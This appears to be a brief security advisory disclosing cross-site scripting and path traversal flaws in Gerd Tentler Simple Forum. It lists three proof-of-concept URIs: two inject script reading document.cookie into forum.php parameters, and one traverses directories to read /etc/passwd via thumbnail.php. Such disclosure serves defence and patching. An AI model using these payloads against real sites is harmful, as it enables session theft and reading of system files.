Gerd Tentler Simple Forum Multiple Input Validation Vulnerabilities

An attacker can use a browser to exploit these issues. To exploit a cross-site scripting vulnerability, the attacker must entice an unsuspecting victim into following a malicious URI.

The following proof-of-concept URIs are available:


http://www.example.com/path/forum.php?open="/><script>alert(document.cookie)</script>

http://www.example.com/path/forum.php?date_show="/><script>alert(document.cookie)</script>

http://www.example.com/path/thumbnail.php?type=3&file=../../../../../../../etc/passwd


 

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